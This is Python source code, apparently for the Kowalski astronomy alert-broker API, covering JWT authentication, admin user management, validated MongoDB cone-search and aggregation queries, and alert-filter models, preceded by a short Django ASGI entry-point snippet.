# This application object is used by any ASGI server configured to use this file.
django_application = get_asgi_application()
# Apply ASGI middleware here.
# from helloworld.asgi import HelloWorldApplication
# application = HelloWorldApplication(application)
# Import websocket application here, so apps from django_application are loaded first
from config.websocket import websocket_application # noqa isort:skip
async def application(scope, receive, send):
if scope["type"] == "http":
await django_application(scope, receive, send)
elif scope["type"] == "websocket":
await websocket_application(scope, receive, send)
else:
raise NotImplementedError(f"Unknown scope type {scope['type']}")
|
from abc import ABC
from aiohttp import web, ClientSession
from aiohttp_swagger3 import SwaggerDocs, ReDocUiSettings
from astropy.io import fits
from astropy.visualization import (
AsymmetricPercentileInterval,
MinMaxInterval,
ZScaleInterval,
LinearStretch,
LogStretch,
AsinhStretch,
SqrtStretch,
ImageNormalize,
)
from ast import literal_eval
from bson.json_util import dumps, loads
import datetime
import gzip
import io
import jwt
from matplotlib.colors import LogNorm
import matplotlib.pyplot as plt
from middlewares import auth_middleware, error_middleware, auth_required, admin_required
from motor.motor_asyncio import AsyncIOMotorClient
from multidict import MultiDict
import numpy as np
from odmantic import AIOEngine, EmbeddedModel, Field, Model
import pathlib
from pydantic import root_validator
from sshtunnel import SSHTunnelForwarder
import traceback
from typing import List, Mapping, Optional, Sequence, Union
from utils import (
add_admin,
check_password_hash,
generate_password_hash,
init_db,
load_config,
log,
radec_str2geojson,
uid,
)
import uvloop
config = load_config(config_file="config.yaml")["kowalski"]
class Handler:
@staticmethod
def success(message: str = "", data: Optional[Mapping] = None):
response = {"status": "success", "message": message}
if data is not None:
response["data"] = data
return web.json_response(response, status=200, dumps=dumps)
@staticmethod
def error(message: str = "", status: int = 400):
return web.json_response({"status": "error", "message": message}, status=status)
""" authentication and authorization """
def is_admin(username: str):
"""Check if user is admin
note: may want to change the logic to allow multiple users to be admins
:param username:
"""
return username == config["server"]["admin_username"]
# @routes.post('/api/auth')
async def auth_post(request: web.Request) -> web.Response:
"""
Authentication
---
summary: Get access token
tags:
- auth
requestBody:
required: true
content:
application/json:
schema:
type: object
required:
- username
- password
properties:
username:
type: string
password:
type: string
example:
username: user
password: PwD
responses:
'200':
description: access token
content:
application/json:
schema:
type: object
required:
- status
- token
properties:
status:
type: string
token:
type: string
example:
status: success
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE1OTE1NjE5MTl9.2emEp9EKf154WLJQwulofvXhTX7L0s9Y2-6_xI0Gx8w
'400':
description: username or password missing in requestBody
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
message:
type: string
examples:
missing username:
value:
status: error
message: missing username
missing password:
value:
status: error
message: missing password
'401':
description: bad credentials
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
message:
type: string
example:
status: error
message: wrong credentials
'500':
description: internal/unknown cause of failure
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
message:
type: string
example:
status: error
message: auth failed
"""
try:
try:
post_data = await request.json()
except AttributeError:
post_data = await request.post()
# must contain 'username' and 'password'
if ("username" not in post_data) or (len(post_data["username"]) == 0):
return web.json_response(
{"status": "error", "message": "missing username"}, status=400
)
if ("password" not in post_data) or (len(post_data["password"]) == 0):
return web.json_response(
{"status": "error", "message": "missing password"}, status=400
)
# connecting from penquins: check penquins version
if "penquins.__version__" in post_data:
penquins_version = post_data["penquins.__version__"]
if penquins_version not in config["misc"]["supported_penquins_versions"]:
return web.json_response(
{
"status": "error",
"message": "unsupported version of penquins: "
f'{post_data['penquins.__version__']}',
},
status=400,
)
username = str(post_data["username"])
password = str(post_data["password"])
try:
# user exists and passwords match?
select = await request.app["mongo"].users.find_one({"_id": username})
if select is not None and check_password_hash(select["password"], password):
payload = {
"user_id": username,
"created_at": datetime.datetime.utcnow().strftime(
"%Y-%m-%dT%H:%M:%S.%f+00:00"
),
}
# optionally set expiration date
if request.app["JWT"]["JWT_EXP_DELTA_SECONDS"] is not None:
payload["exp"] = (
datetime.datetime.utcnow()
+ datetime.timedelta(
seconds=request.app["JWT"]["JWT_EXP_DELTA_SECONDS"]
)
).strftime("%Y-%m-%dT%H:%M:%S.%f+00:00")
jwt_token = jwt.encode(
payload=payload,
key=request.app["JWT"]["JWT_SECRET"],
algorithm=request.app["JWT"]["JWT_ALGORITHM"],
)
return web.json_response({"status": "success", "token": jwt_token})
else:
return web.json_response(
{"status": "error", "message": "wrong credentials"}, status=401
)
except Exception as _e:
log(_e)
_err = traceback.format_exc()
log(_err)
return web.json_response(
{"status": "error", "message": "wrong credentials"}, status=401
)
except Exception as _e:
log(_e)
_err = traceback.format_exc()
log(_err)
return web.json_response(
{"status": "error", "message": "auth failed"}, status=500
)
# @routes.get('/', name='ping', allow_head=False)
@auth_required
async def ping(request: web.Request) -> web.Response:
"""
ping/pong
:param request:
:return:
---
summary: ping/pong
tags:
- root
responses:
'200':
description: greetings to an authorized user
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
message:
type: string
example:
status: success
message: greetings from Kowalski!
"""
return web.json_response(
{"status": "success", "message": "greetings from Kowalski!"}, status=200
)
""" users """
# @routes.post('/api/users')
@admin_required
async def users_post(request: web.Request) -> web.Response:
"""
Add new user
:return:
---
summary: Add new user
tags:
- users
requestBody:
required: true
content:
application/json:
schema:
type: object
required:
- username
- password
properties:
username:
type: string
password:
type: string
email:
type: string
permissions:
type: string
example:
username: noone
password: nopas!
email: user@caltech.edu
responses:
'200':
description: added user
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [success]
message:
type: string
example:
status: success
message: added user noone
'400':
description: username or password missing in requestBody
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: username and password must be set
'500':
description: internal/unknown cause of failure
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failed to add user: <error message>"
"""
try:
_data = await request.json()
username = _data.get("username", "")
password = _data.get("password", "")
email = _data.get("email", None)
permissions = _data.get("permissions", dict())
if len(username) == 0 or len(password) == 0:
return web.json_response(
{"status": "error", "message": "username and password must be set"},
status=400,
)
# add user to coll_usr collection:
await request.app["mongo"].users.insert_one(
{
"_id": username,
"email": email,
"password": generate_password_hash(password),
"permissions": permissions,
"last_modified": datetime.datetime.now(),
}
)
return web.json_response(
{"status": "success", "message": f"added user {username}"}, status=200
)
except Exception as _e:
return web.json_response(
{"status": "error", "message": f"failed to add user: {_e}"}, status=500
)
# @routes.delete('/api/users/{username}')
@admin_required
async def users_delete(request: web.Request) -> web.Response:
"""
Remove user
:return:
---
summary: Remove user
tags:
- users
responses:
'200':
description: removed user
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [success]
message:
type: string
example:
status: success
message: removed user noone
'400':
description: username not found or is superuser
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
examples:
attempting superuser removal:
value:
status: error
message: cannot remove the superuser!
username not found:
value:
status: error
message: user noone not found
'500':
description: internal/unknown cause of failure
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failed to remove user: <error message>"
"""
try:
# get query params
username = request.match_info["username"]
if username == config["server"]["admin_username"]:
return web.json_response(
{"status": "error", "message": "cannot remove the superuser!"},
status=400,
)
# try to remove the user:
r = await request.app["mongo"].users.delete_one({"_id": username})
if r.deleted_count != 0:
return web.json_response(
{"status": "success", "message": f"removed user {username}"}, status=200
)
else:
return web.json_response(
{"status": "error", "message": f"user {username} not found"}, status=400
)
except Exception as _e:
return web.json_response(
{"status": "error", "message": f"failed to remove user: {_e}"}, status=500
)
# @routes.put('/api/users/{username}')
@admin_required
async def users_put(request: web.Request) -> web.Response:
"""
Edit user data
:return:
---
summary: Edit user data
tags:
- users
requestBody:
required: true
content:
application/json:
schema:
type: object
properties:
username:
type: string
password:
type: string
example:
username: noone
responses:
'200':
description: edited user
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [success]
message:
type: string
example:
status: success
message: edited user noone
'400':
description: cannot rename superuser
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
examples:
attempting superuser renaming:
value:
status: error
message: cannot rename the superuser!
'500':
description: internal/unknown cause of failure
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failed to remove user: <error message>"
"""
try:
_data = await request.json()
_id = request.match_info["username"]
username = _data.get("username", "")
password = _data.get("password", "")
if (
_id == config["server"]["admin_username"]
and username != config["server"]["admin_username"]
):
return web.json_response(
{"status": "error", "message": "cannot rename the superuser!"},
status=400,
)
# change username:
if (_id != username) and (len(username) > 0):
select = await request.app["mongo"].users.find_one({"_id": _id})
select["_id"] = username
await request.app["mongo"].users.insert_one(select)
await request.app["mongo"].users.delete_one({"_id": _id})
# change password:
if len(password) != 0:
await request.app["mongo"].users.update_one(
{"_id": username},
{
"$set": {"password": generate_password_hash(password)},
"$currentDate": {"last_modified": True},
},
)
return web.json_response(
{"status": "success", "message": f"edited user {_id}"}, status=200
)
except Exception as _e:
return web.json_response(
{"status": "error", "message": f"failed to edit user: {_e}"}, status=500
)
""" queries """
SYSTEM_COLLECTIONS = ("users", "filters", "queries")
QUERY_TYPES = (
"cone_search",
"count_documents",
"estimated_document_count",
"find",
"find_one",
"aggregate",
"info",
"near",
)
INFO_COMMANDS = (
"catalog_names",
"catalog_info",
"index_info",
"db_info",
)
FORBIDDEN_STAGES_QUERIES = {"$unionWith", "$out", "$merge"}
FORBIDDEN_STAGES_FILTERS = {"$lookup", "$unionWith", "$out", "$merge"}
ANGULAR_UNITS = ("arcsec", "arcmin", "deg", "rad")
class Query(Model, ABC):
"""Data model for queries for streamlined validation"""
query_type: str
query: Mapping
kwargs: dict = dict()
user: str
@staticmethod
def construct_filter(query: Mapping):
"""Check validity of query filter specs and preprocess if necessary
:param query: Mapping containing filter specification either as a Mapping or a literal_eval'uable str
:return:
"""
catalog_filter = query.get("filter")
if not isinstance(catalog_filter, (str, Mapping)):
raise ValueError("Unsupported filter specification")
if isinstance(catalog_filter, str):
# passed string? evaluate:
catalog_filter = literal_eval(catalog_filter.strip())
return catalog_filter
@staticmethod
def construct_projection(query):
"""Check validity of query projection specs and preprocess if necessary
:param query: Mapping containing projection specification either as a Mapping or a literal_eval'uable str
:return:
"""
catalog_projection = query.get("projection")
if catalog_projection is not None:
if not isinstance(catalog_projection, (str, Mapping)):
raise ValueError("Unsupported projection specification")
if isinstance(catalog_projection, str):
# passed string? evaluate:
catalog_projection = literal_eval(catalog_projection.strip())
else:
catalog_projection = dict()
return catalog_projection
@staticmethod
def angle_to_rad(angle: Union[float, int], units: str) -> float:
"""Convert angle to rad
:param angle: angle [deg]
:param units: str, one of ["arcsec", "arcmin", "deg"]
:return:
"""
angle_rad = float(angle)
if units not in ANGULAR_UNITS:
raise Exception(f"Angular units not in {ANGULAR_UNITS}")
if units == "arcsec":
angle_rad *= np.pi / 180 / 3600
elif units == "arcmin":
angle_rad *= np.pi / 180 / 60
elif units == "deg":
angle_rad *= np.pi / 180
return angle_rad
@staticmethod
def parse_object_coordinates(coordinates: Union[str, Sequence, Mapping]):
"""
Parse object coordinates in degrees/HMS_DMS
:param coordinates: object coordinates in decimal degrees
or strings "HH:MM:SS.SSS..." / "DD:MM:SS.SSS..."
or strings "HHhMMmSS.SSS...s" / "DDdMMmSS.SSS...s"
Options:
- str that is parsed either as ra dec for a single source or stringified Sequence, as below
- Sequence, such as [(ra1, dec1), (ra2, dec2), ..]
- Mapping, such as {'object_name': (ra1, dec1), ...}
:return:
"""
if isinstance(coordinates, str):
coordinates = coordinates.strip()
# comb coordinates for a single source:
if not coordinates.startswith(("[", "(", "{")):
a, b = coordinates.split()
if ("s" in coordinates) or (":" in coordinates):
coordinates = f"[('{a}', '{b}')]"
else:
coordinates = f"[({a}, {b})]"
coordinates = literal_eval(coordinates)
if isinstance(coordinates, Sequence):
object_coordinates = coordinates
# use coords as source ids replacing dots to keep Mongo happy:
object_names = [
str(obj_crd).replace(".", "_") for obj_crd in object_coordinates
]
elif isinstance(coordinates, Mapping):
object_names, object_coordinates = zip(*coordinates.items())
object_names = list(map(str, object_names))
object_names = [
object_name.replace(".", "_") for object_name in object_names
]
else:
raise ValueError("Unsupported object coordinate specs")
return object_names, object_coordinates
@staticmethod
def validate_kwargs(kwargs: Mapping, known_kwargs: Sequence) -> dict:
"""Allow only known kwargs:
check that kwargs.keys() are in known_kwargs and ditch those that are not
:param kwargs:
:param known_kwargs:
:return:
"""
return {
kk: vv
for kk, vv in kwargs.items()
if kk in [*known_kwargs, "max_time_ms", "comment"]
}
@root_validator
def check_query(cls, values):
"""Validate query and preprocess it if necessary"""
query_type = values.get("query_type")
query = values.get("query")
kwargs = values.get("kwargs")
user = values.get("user")
if query_type not in QUERY_TYPES:
raise KeyError(f"query_type {query_type} not in {str(QUERY_TYPES)}")
# this way, username will be propagated into mongodb's logs
kwargs["comment"] = user
if query.get("catalog") is not None:
catalog = query.get("catalog").strip()
if catalog in SYSTEM_COLLECTIONS and not is_admin(user):
raise ValueError("Protected collection")
if query.get("catalogs") is not None:
catalogs = query.get("catalogs")
for catalog in catalogs:
if catalog in SYSTEM_COLLECTIONS and not is_admin(user):
raise ValueError("Protected collection")
if query_type == "aggregate":
pipeline = query.get("pipeline")
if (not isinstance(pipeline, str)) and (not isinstance(pipeline, Sequence)):
raise ValueError("Unsupported pipeline specification")
if isinstance(pipeline, str):
# passed string? evaluate:
pipeline = literal_eval(pipeline.strip())
if len(pipeline) == 0:
raise ValueError("Pipeline must contain at least one stage")
stages = set([list(stage.keys())[0] for stage in pipeline])
if len(stages.intersection(FORBIDDEN_STAGES_QUERIES)):
raise ValueError(
f"Pipeline uses forbidden stages: {str(stages.intersection(FORBIDDEN_STAGES_QUERIES))}"
)
kwargs = cls.validate_kwargs(
kwargs=kwargs, known_kwargs=("allowDiskUse", "batchSize")
)
values["kwargs"] = kwargs
values["query"]["pipeline"] = pipeline
elif query_type == "cone_search":
# apply filter before positional query?
filter_first = kwargs.get("filter_first", False)
# cone search radius:
cone_search_radius = cls.angle_to_rad(
angle=query["object_coordinates"]["cone_search_radius"],
units=query["object_coordinates"]["cone_search_unit"],
)
object_names, object_coordinates = cls.parse_object_coordinates(
query["object_coordinates"]["radec"]
)
# reshuffle query to ease execution on Mongo side
query_preprocessed = dict()
for catalog in query["catalogs"]:
catalog = catalog.strip()
query_preprocessed[catalog] = dict()
# specifying filter is optional in this case
if "filter" in query["catalogs"][catalog]:
catalog_filter = cls.construct_filter(query["catalogs"][catalog])
else:
catalog_filter = dict()
# construct projection, which is always optional
catalog_projection = cls.construct_projection(
query["catalogs"][catalog]
)
# parse coordinate list
for oi, obj_crd in enumerate(object_coordinates):
# convert ra/dec into GeoJSON-friendly format
_ra, _dec = radec_str2geojson(*obj_crd)
object_position_query = dict()
object_position_query["coordinates.radec_geojson"] = {
"$geoWithin": {
"$centerSphere": [[_ra, _dec], cone_search_radius]
}
}
# use stringified object coordinates as dict keys and merge dicts with cat/obj queries:
if not filter_first:
query_preprocessed[catalog][object_names[oi]] = (
{**object_position_query, **catalog_filter},
{**catalog_projection},
)
else:
# place the filter expression in front of the positional query?
# this may be useful if an index exists to speed up the query
query_preprocessed[catalog][object_names[oi]] = (
{**catalog_filter, **object_position_query},
{**catalog_projection},
)
kwargs = cls.validate_kwargs(
kwargs=kwargs, known_kwargs=("skip", "hint", "limit", "sort")
)
values["kwargs"] = kwargs
values["query"] = query_preprocessed
elif query_type == "count_documents":
values["query"]["filter"] = cls.construct_filter(query)
kwargs = cls.validate_kwargs(
kwargs=kwargs, known_kwargs=("skip", "hint", "limit")
)
values["kwargs"] = kwargs
elif query_type == "find":
# construct filter
values["query"]["filter"] = cls.construct_filter(query)
# construct projection
values["query"]["projection"] = cls.construct_projection(query)
kwargs = cls.validate_kwargs(
kwargs=kwargs, known_kwargs=("skip", "hint", "limit", "sort")
)
values["kwargs"] = kwargs
elif query_type == "find_one":
values["query"]["filter"] = cls.construct_filter(query)
kwargs = cls.validate_kwargs(
kwargs=kwargs, known_kwargs=("skip", "hint", "limit", "sort")
)
values["kwargs"] = kwargs
elif query_type == "info":
command = query.get("command")
if command not in INFO_COMMANDS:
raise KeyError(f"command {command} not in {str(INFO_COMMANDS)}")
elif query_type == "near":
# apply filter before positional query?
filter_first = kwargs.get("filter_first", False)
min_distance = cls.angle_to_rad(
angle=query.get("min_distance", 0),
units=query.get("distance_units", "rad"),
)
max_distance = cls.angle_to_rad(
angle=query.get("max_distance", np.pi / 180 / 60), # default to 1'
units=query.get("distance_units", "rad"),
)
object_names, object_coordinates = cls.parse_object_coordinates(
query["radec"]
)
# reshuffle query to ease execution on Mongo side
query_preprocessed = dict()
for catalog in query["catalogs"]:
catalog = catalog.strip()
query_preprocessed[catalog] = dict()
# specifying filter is optional in this case
if "filter" in query["catalogs"][catalog]:
catalog_filter = cls.construct_filter(query["catalogs"][catalog])
else:
catalog_filter = dict()
# construct projection, which is always optional
catalog_projection = cls.construct_projection(
query["catalogs"][catalog]
)
# parse coordinate list
for oi, obj_crd in enumerate(object_coordinates):
# convert ra/dec into GeoJSON-friendly format
_ra, _dec = radec_str2geojson(*obj_crd)
object_position_query = dict()
object_position_query["coordinates.radec_geojson"] = {
"$nearSphere": [_ra, _dec],
"$minDistance": min_distance,
"$maxDistance": max_distance,
}
# use stringified object coordinates as dict keys and merge dicts with cat/obj queries:
if not filter_first:
query_preprocessed[catalog][object_names[oi]] = (
{**object_position_query, **catalog_filter},
{**catalog_projection},
)
else:
# place the filter expression in front of the positional query?
# this may be useful if an index exists to speed up the query
query_preprocessed[catalog][object_names[oi]] = (
{**catalog_filter, **object_position_query},
{**catalog_projection},
)
kwargs = cls.validate_kwargs(
kwargs=kwargs, known_kwargs=("skip", "hint", "limit", "sort")
)
values["kwargs"] = kwargs
values["query"] = query_preprocessed
return values
class QueryHandler(Handler):
"""Handlers to work with user queries"""
@auth_required
async def post(self, request: web.Request) -> web.Response:
"""Query Kowalski
---
summary: Query Kowalski
tags:
- queries
requestBody:
required: true
content:
application/json:
schema:
type: object
required:
- query_type
- query
properties:
query_type:
type: string
enum:
- aggregate
- cone_search
- count_documents
- estimated_document_count
- find
- find_one
- info
- near
query:
type: object
description: query. depends on query_type, see examples
oneOf:
- $ref: "#/components/schemas/aggregate"
- $ref: "#/components/schemas/cone_search"
- $ref: "#/components/schemas/count_documents"
- $ref: "#/components/schemas/estimated_document_count"
- $ref: "#/components/schemas/find"
- $ref: "#/components/schemas/find_one"
- $ref: "#/components/schemas/info"
- $ref: "#/components/schemas/near"
kwargs:
type: object
description: additional parameters. depends on query_type, see examples
oneOf:
- $ref: "#/components/schemas/aggregate_kwargs"
- $ref: "#/components/schemas/cone_search_kwargs"
- $ref: "#/components/schemas/count_documents_kwargs"
- $ref: "#/components/schemas/estimated_document_count_kwargs"
- $ref: "#/components/schemas/find_kwargs"
- $ref: "#/components/schemas/find_one_kwargs"
- $ref: "#/components/schemas/info_kwargs"
- $ref: "#/components/schemas/near_kwargs"
examples:
aggregate:
value:
"query_type": "aggregate"
"query": {
"catalog": "ZTF_alerts",
"pipeline": [
{'$match': {'candid': 1105522281015015000}},
{"$project": {"_id": 0, "candid": 1, "candidate.drb": 1}}
],
}
"kwargs": {
"max_time_ms": 2000
}
cone_search:
value:
"query_type": "cone_search"
"query": {
"object_coordinates": {
"cone_search_radius": 2,
"cone_search_unit": "arcsec",
"radec": {"object1": [71.6577756, -10.2263957]}
},
"catalogs": {
"ZTF_alerts": {
"filter": {},
"projection": {"_id": 0, "candid": 1, "objectId": 1}
}
}
}
"kwargs": {
"filter_first": False
}
find:
value:
"query_type": "find"
"query": {
"catalog": "ZTF_alerts",
"filter": {'candidate.drb': {"$gt": 0.9}},
"projection": {"_id": 0, "candid": 1, "candidate.drb": 1},
}
"kwargs": {
"sort": [["$natural", -1]],
"limit": 2
}
find_one:
value:
"query_type": "find_one"
"query": {
"catalog": "ZTF_alerts",
"filter": {}
}
info:
value:
"query_type": "info"
"query": {
"command": "catalog_names"
}
count_documents:
value:
"query_type": "count_documents"
"query": {
"catalog": "ZTF_alerts",
"filter": {"objectId": "ZTF20aakyoez"}
}
estimated_document_count:
value:
"query_type": "estimated_document_count"
"query": {
"catalog": "ZTF_alerts"
}
near:
value:
"query_type": "near"
"query": {
"max_distance": 30,
"distance_units": "arcsec",
"radec": {"object1": [71.6577756, -10.2263957]},
"catalogs": {
"ZTF_alerts": {
"filter": {},
"projection": {"_id": 0, "candid": 1, "objectId": 1}
}
}
}
"kwargs": {
"limit": 1
}
responses:
'200':
description: query result
content:
application/json:
schema:
type: object
required:
- user
- message
- status
properties:
status:
type: string
enum: [success]
message:
type: string
user:
type: string
kwargs:
type: object
data:
oneOf:
- type: number
- type: array
- type: object
examples:
aggregate:
value:
"status": "success"
"message": "Successfully executed query"
"data": [
{
"candid": 1105522281015015000,
"candidate": {
"drb": 0.999999463558197
}
}
]
cone_search:
value:
"status": "success"
"message": "Successfully executed query"
"data": {
"ZTF_alerts": {
"object1": [
{"objectId": "ZTF20aaelulu",
"candid": 1105522281015015000}
]
}
}
find:
value:
"status": "success"
"message": "Successfully executed query"
"data": [
{
"candid": 1127561444715015009,
"candidate": {
"drb": 0.9999618530273438
}
},
{
"candid": 1127107111615015007,
"candidate": {
"drb": 0.9986417293548584
}
}
]
info:
value:
"status": "success"
"message": "Successfully executed query"
"data": [
"ZTF_alerts_aux",
"ZTF_alerts"
]
count_documents:
value:
"status": "success"
"message": "Successfully executed query"
"data": 1
estimated_document_count:
value:
"status": "success"
"message": "Successfully executed query"
"data": 11
near:
value:
"status": "success"
"message": "Successfully executed query"
"data": {
"ZTF_alerts": {
"object1": [
{"objectId": "ZTF20aaelulu",
"candid": 1105522281015015000}
]
}
}
'400':
description: query parsing/execution error
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
examples:
unknown query type:
value:
status: error
message: "query_type not in ('cone_search', 'count_documents', 'estimated_document_count', 'find', 'find_one', 'aggregate', 'info')"
random error:
value:
status: error
message: "failure: <error message>"
"""
# allow both .json() and .post():
try:
query_spec = await request.json()
except AttributeError:
query_spec = await request.post()
# this is set by auth_middleware
query_spec["user"] = request.user
# validate and preprocess
query = Query(**query_spec)
# by default, long-running queries will be killed after config['misc']['max_time_ms'] ms
max_time_ms = int(
query.kwargs.get("max_time_ms", config["misc"]["max_time_ms"])
)
if max_time_ms < 1:
raise ValueError("max_time_ms must be int >= 1")
query.kwargs.pop("max_time_ms", None)
# execute query, depending on query.query_type
data = dict()
if query.query_type in ("cone_search", "near"):
# iterate over catalogs
for catalog in query.query:
data[catalog] = dict()
# iterate over objects:
for obj in query.query[catalog]:
# project?
if len(query.query[catalog][obj][1]) > 0:
cursor = request.app["mongo"][catalog].find(
query.query[catalog][obj][0],
query.query[catalog][obj][1],
max_time_ms=max_time_ms,
**query.kwargs,
)
# return the whole documents by default
else:
cursor = request.app["mongo"][catalog].find(
query.query[catalog][obj][0],
max_time_ms=max_time_ms,
**query.kwargs,
)
data[catalog][obj] = await cursor.to_list(length=None)
if query.query_type == "find":
catalog = query.query["catalog"]
catalog_filter = query.query["filter"]
catalog_projection = query.query["projection"]
# project?
if len(catalog_projection) > 0:
cursor = request.app["mongo"][catalog].find(
catalog_filter,
catalog_projection,
max_time_ms=max_time_ms,
**query.kwargs,
)
# return the whole documents by default
else:
cursor = request.app["mongo"][catalog].find(
catalog_filter,
max_time_ms=max_time_ms,
**query.kwargs,
)
if isinstance(cursor, (int, float, Sequence, Mapping)) or (cursor is None):
data = cursor
else:
data = await cursor.to_list(length=None)
if query.query_type == "find_one":
catalog = query.query["catalog"]
cursor = request.app["mongo"][catalog].find_one(
query.query["filter"],
max_time_ms=max_time_ms,
)
data = await cursor
if query.query_type == "count_documents":
catalog = query.query["catalog"]
cursor = request.app["mongo"][catalog].count_documents(
query.query["filter"],
maxTimeMS=max_time_ms,
)
data = await cursor
if query.query_type == "estimated_document_count":
catalog = query.query["catalog"]
cursor = request.app["mongo"][catalog].estimated_document_count(
maxTimeMS=max_time_ms,
)
data = await cursor
if query.query_type == "aggregate":
catalog = query.query["catalog"]
pipeline = query.query["pipeline"]
cursor = request.app["mongo"][catalog].aggregate(
pipeline,
allowDiskUse=query.kwargs.get("allowDiskUse", True),
maxTimeMS=max_time_ms,
)
data = await cursor.to_list(length=None)
if query.query_type == "info":
if query.query["command"] == "catalog_names":
# get available catalog names
catalog_names = await request.app["mongo"].list_collection_names()
data = [
catalog_name
for catalog_name in sorted(catalog_names)[::-1]
if catalog_name not in SYSTEM_COLLECTIONS
]
elif query.query["command"] == "catalog_info":
catalog = query.query["catalog"]
data = await request.app["mongo"].command("collstats", catalog)
elif query.query["command"] == "index_info":
catalog = query.query["catalog"]
data = await request.app["mongo"][catalog].index_information()
elif query.query["command"] == "db_info":
data = await request.app["mongo"].command("dbstats")
return self.success(message="Successfully executed query", data=data)
""" filters """
class FilterVersion(EmbeddedModel, ABC):
"""Data model for Filter versions"""
fid: str = Field(default_factory=uid)
pipeline: str
created_at: datetime.datetime = Field(default_factory=datetime.datetime.utcnow)
@root_validator
def check_min_stages(cls, values):
pipeline = values.get("pipeline")
if len(loads(pipeline)) == 0: # it is stored as a string
raise ValueError("pipeline must contain at least one stage")
return values
@root_validator
def check_forbidden_stages(cls, values):
pipeline = values.get("pipeline")
# check that only allowed stages are used in the pipeline
stages = set([list(stage.keys())[0] for stage in loads(pipeline)])
if len(stages.intersection(FORBIDDEN_STAGES_FILTERS)):
raise ValueError(
f"pipeline uses forbidden stages: {str(stages.intersection(FORBIDDEN_STAGES_FILTERS))}"
)
return values
class Config:
json_dumps = dumps
json_loads = loads
parse_doc_with_default_factories = True
class Filter(Model, ABC):
"""Data model for Filters"""
filter_id: int = Field(ge=1)
group_id: int = Field(ge=1)
catalog: str
permissions: List
autosave: bool = False
active: bool = True
update_annotations: bool = False
active_fid: Optional[str] = Field(min_length=6, max_length=6)
fv: List[FilterVersion] = list()
created_at: datetime.datetime = Field(default_factory=datetime.datetime.utcnow)
last_modified: datetime.datetime = Field(default_factory=datetime.datetime.utcnow)
class Config:
# collection name in MongoDB
collection = "filters"
json_dumps = dumps
json_loads = loads
parse_doc_with_default_factories = True
class FilterHandler(Handler):
"""Handlers to work with user-defined alert filters"""
@admin_required
async def get(self, request: web.Request) -> web.Response:
"""Retrieve filter by filter_id
:param request:
:return:
---
summary: Retrieve user-defined filters
tags:
- filters
parameters:
- in: query
name: filter_id
description: filter id
required: true
schema:
type: integer
minimum: 1
responses:
'200':
description: retrieved filter data
content:
application/json:
schema:
type: object
required:
- status
- message
- data
properties:
status:
type: string
enum: [success]
message:
type: string
data:
type: object
example:
"status": "success"
"message": "Retrieved filter id 1"
"data": {
"group_id": 1,
"filter_id": 1,
"catalog": "ZTF_alerts",
"permissions": [1, 2],
"autosave": false,
"update_annotations": false,
"active": true,
"active_fid": "nnsun9",
"fv": [
"fid": "nnsun9",
"pipeline": "<serialized extended json string>",
"created": {
"$date": 1584403506877
}
]
}
'400':
description: retrieval failed or internal/unknown cause of failure
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failure: <error message>"
"""
filter_id = int(request.match_info["filter_id"])
filtr = await request.app["mongo_odm"].find_one(
Filter, Filter.filter_id == filter_id
)
if filtr is not None:
return self.success(
message=f"Retrieved filter id {filter_id}", data=filtr.doc()
)
return self.error(message=f"Filter id {filter_id} not found")
@admin_required
async def post(self, request: web.Request) -> web.Response:
"""Post user-defined alert filter, or a new version thereof
- store pipeline as serialized extended json string,
to be used with literal_eval to convert to dict at execution
- run a simple sanity check before saving
---
summary: Post user-defined alert filter, or a new version thereof
tags:
- filters
requestBody:
required: true
content:
application/json:
schema:
type: object
required:
- group_id
- filter_id
- catalog
- permissions
- pipeline
properties:
group_id:
type: integer
description: "[fritz] user group (science program) id"
minimum: 1
filter_id:
type: integer
description: "[fritz] science program filter id for this user group id"
minimum: 1
catalog:
type: string
description: "alert stream to filter"
enum: [ZTF_alerts, ZUDS_alerts]
permissions:
type: array
items:
type: integer
description: "permissions to access streams"
minItems: 1
autosave:
type: boolean
description: "automatically save passing alerts to group <group_id>"
default: false
update_annotations:
type: boolean
description: "update existing annotations for newly passing alerts"
default: false
pipeline:
type: array
items:
type: object
description: "user-defined aggregation pipeline stages in MQL"
minItems: 1
examples:
filter_1:
value:
"group_id": 1
"filter_id": 1
"catalog": ZTF_alerts
"permissions": [1, 2]
"pipeline": [
{
"$match": {
"candidate.drb": {
"$gt": 0.9999
},
"cross_matches.CLU_20190625.0": {
"$exists": False
}
}
},
{
"$addFields": {
"annotations.author": "dd",
"annotations.mean_rb": {"$avg": "$prv_candidates.rb"}
}
},
{
"$project": {
"_id": 0,
"candid": 1,
"objectId": 1,
"annotations": 1
}
}
]
filter_2:
value:
"group_id": 2
"filter_id": 1
"catalog": ZTF_alerts
"permissions": [1, 2, 3]
"autosave": true
"update_annotations": false
"pipeline": [
{
"$match": {
"candidate.drb": {
"$gt": 0.9999
},
"cross_matches.CLU_20190625.0": {
"$exists": True
}
}
},
{
"$addFields": {
"annotations.author": "dd",
"annotations.mean_rb": {"$avg": "$prv_candidates.rb"}
}
},
{
"$project": {
"_id": 0,
"candid": 1,
"objectId": 1,
"annotations": 1
}
}
]
responses:
'200':
description: filter successfully saved
content:
application/json:
schema:
type: object
required:
